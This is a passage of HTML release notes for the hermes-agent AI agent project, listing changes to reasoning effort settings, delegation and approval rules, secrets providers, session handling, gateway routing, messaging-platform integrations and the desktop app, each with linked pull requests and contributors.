</ul>
<h3>Reasoning &amp; MoA</h3>
<ul>
<li><code>max</code> + <code>ultra</code> effort levels across every surface and route (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped <code>/reasoning</code> in the CLI (<a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67946/hovercard">#67946</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA: <code>reference_max_tokens</code> to cap advisor output and cut latency; per-preset fanout cadence (<code>user_turn</code> runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (<a href="https://github.com/NousResearch/hermes-agent/pull/56756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56756/hovercard">#56756</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57591/hovercard">#57591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64756/hovercard">#64756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Delegation, approvals &amp; the agent loop</h3>
<ul>
<li>Live subagent transcripts + durable background completions (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Smart approvals default; user-defined deny rules (block even under yolo); <code>/deny &lt;reason&gt;</code> relays the denial reason; plugin <code>pre_tool_call</code> approve action escalates to a human gate (re-landed with rule keys) (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Unified delegation concurrency caps (<code>max_async_children</code> deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (<a href="https://github.com/NousResearch/hermes-agent/pull/56955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56955/hovercard">#56955</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64775/hovercard">#64775</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61793/hovercard">#61793</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through <code>thread/compact/start</code>, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via <code>/usage reset</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/66514" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66514/hovercard">#66514</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66115" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66115/hovercard">#66115</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60114/hovercard">#60114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58155/hovercard">#58155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62225/hovercard">#62225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64280" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64280/hovercard">#64280</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hooks: oversized hook-injected context spills to disk (<a href="https://github.com/NousResearch/hermes-agent/pull/20468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20468/hovercard">#20468</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (<a href="https://github.com/NousResearch/hermes-agent/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62016/hovercard">#62016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Secrets &amp; config</h3>
<ul>
<li>Pluggable <code>SecretSource</code> interface + Bitwarden &amp; 1Password providers (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</li>
<li><code>hermes config get</code> / <code>unset</code>; warn on unknown root config keys + doctor deprecated-key reporting; <code>display.timestamp_format</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65540" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65540/hovercard">#65540</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67370" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67370/hovercard">#67370</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40622/hovercard">#40622</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; <code>--usage-file</code> JSON report for <code>hermes -z</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65537/hovercard">#65537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65468/hovercard">#65468</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59615" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59615/hovercard">#59615</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions &amp; compression</h3>
<ul>
<li>Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, <code>--redact</code>, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63091" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63091/hovercard">#63091</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>)</li>
<li>Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (<a href="https://github.com/NousResearch/hermes-agent/pull/67275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67275/hovercard">#67275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67916/hovercard">#67916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65046/hovercard">#65046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56868/hovercard">#56868</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an <code>api_content</code> sidecar (<a href="https://github.com/NousResearch/hermes-agent/pull/58899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58899/hovercard">#58899</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59203/hovercard">#59203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67274" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67274/hovercard">#67274</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<ul>
<li><strong>Durable delivery-obligation ledger</strong> for final responses (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Profile-based routing for inbound messages</strong> + multiplex hardening wave 2 + <code>GATEWAY_MULTIPLEX_PROFILES</code> override (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + salvaged contributors)</li>
<li>Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session <code>/model</code> overrides persist across restarts (<a href="https://github.com/NousResearch/hermes-agent/pull/67401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67401/hovercard">#67401</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65783" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65783/hovercard">#65783</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62645" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62645/hovercard">#62645</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56967/hovercard">#56967</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57030" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57030/hovercard">#57030</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Session auto-reset default off; <code>/sessions search &lt;query&gt;</code>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (<a href="https://github.com/NousResearch/hermes-agent/pull/60194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60194/hovercard">#60194</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57685" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57685/hovercard">#57685</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60944" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60944/hovercard">#60944</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65702/hovercard">#65702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58872/hovercard">#58872</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + <code>nous_session_valid</code> on <code>/api/status</code> for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (<a href="https://github.com/NousResearch/hermes-agent/pull/60730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60730/hovercard">#60730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60586" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60586/hovercard">#60586</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64649" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64649/hovercard">#64649</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59976/hovercard">#59976</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59969/hovercard">#59969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59983/hovercard">#59983</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h2>📱 Messaging Platforms</h2>
<ul>
<li><strong>Inline choice pickers</strong> for <code>/reasoning</code> and <code>/fast</code> on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (<a href="https://github.com/NousResearch/hermes-agent/pull/65799" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65799/hovercard">#65799</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (<a href="https://github.com/NousResearch/hermes-agent/pull/58865" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58865/hovercard">#58865</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (<a href="https://github.com/NousResearch/hermes-agent/pull/66149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66149/hovercard">#66149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60187" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60187/hovercard">#60187</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60230" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60230/hovercard">#60230</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60493" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60493/hovercard">#60493</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51751/hovercard">#51751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: live per-tool status line (<a href="https://github.com/NousResearch/hermes-agent/pull/67080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67080/hovercard">#67080</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4854171101" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/62007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62007/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/62007">#62007</a>)</li>
<li>Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (<a href="https://github.com/NousResearch/hermes-agent/pull/65543" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65543/hovercard">#65543</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65546" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65546/hovercard">#65546</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Voice: <code>stt.echo_transcripts</code> toggle; MEDIA: captions attached to the media bubble on standalone sends; <code>display.tool_progress: log</code> option (<a href="https://github.com/NousResearch/hermes-agent/pull/58859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58859/hovercard">#58859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61415" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61415/hovercard">#61415</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57014/hovercard">#57014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<ul>
<li><strong>Contribution-driven shell on a layout-tree model</strong> — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (<a href="https://github.com/NousResearch/hermes-agent/pull/60638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60638/hovercard">#60638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67303/hovercard">#67303</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Capabilities page</strong> — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (<a href="https://github.com/NousResearch/hermes-agent/pull/57590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57590/hovercard">#57590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57441" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57441/hovercard">#57441</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67482" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67482/hovercard">#67482</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hermes Cloud connection mode</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4773549207" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/55402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55402/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/55402">#55402</a>); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (<a href="https://github.com/NousResearch/hermes-agent/pull/61912" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61912/hovercard">#61912</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61916/hovercard">#61916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67203/hovercard">#67203</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (<a href="https://github.com/NousResearch/hermes-agent/pull/65204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65204/hovercard">#65204</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62243/hovercard">#62243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65109/hovercard">#65109</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65174/hovercard">#65174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61147/hovercard">#61147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57913/hovercard">#57913</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
